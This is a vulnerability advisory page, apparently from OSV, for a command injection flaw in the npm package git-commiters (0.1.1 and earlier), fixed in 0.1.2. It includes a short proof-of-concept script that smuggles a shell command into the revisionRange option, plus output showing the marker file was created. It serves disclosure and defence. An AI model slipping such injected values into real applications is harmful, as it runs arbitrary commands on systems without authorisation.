GHSA-g38c-wxjf-xrh6

Suggest an improvement
Source
https://github.com/advisories/GHSA-g38c-wxjf-xrh6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-g38c-wxjf-xrh6/GHSA-g38c-wxjf-xrh6.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g38c-wxjf-xrh6
Aliases
Related
Published
2025-09-22T18:01:37Z
Modified
2025-09-26T16:29:35Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
`git-comiters` Command Injection vulnerability
Details

Background on the vulnerability

This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.

However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install git-commiters@0.1.1 or earlier
  2. Initiaizlie a new Git directory with commits in it
  3. Create the following script in that directory:

    var gitCommiters = require("git-commiters");
    
    var options = {
      cwd: "./",
      revisionRange: "HEAD; touch /tmp/pwn; #",
    };
    gitCommiters(options, function (err, result) {
      if (err) console.log(err);
      else console.log(result);
    });
    
  4. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: 'github@qslw.com',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: 'snowyu.lee@gmail.com',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]

@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn

Credit

Liran Tal

Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-77",
        "CWE-78"
    ],
    "severity": "HIGH",
    "github_reviewed_at": "2025-09-22T18:01:37Z",
    "nvd_published_at": "2025-09-25T14:15:46Z"
}
References

Affected packages

npm / git-commiters

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.1.2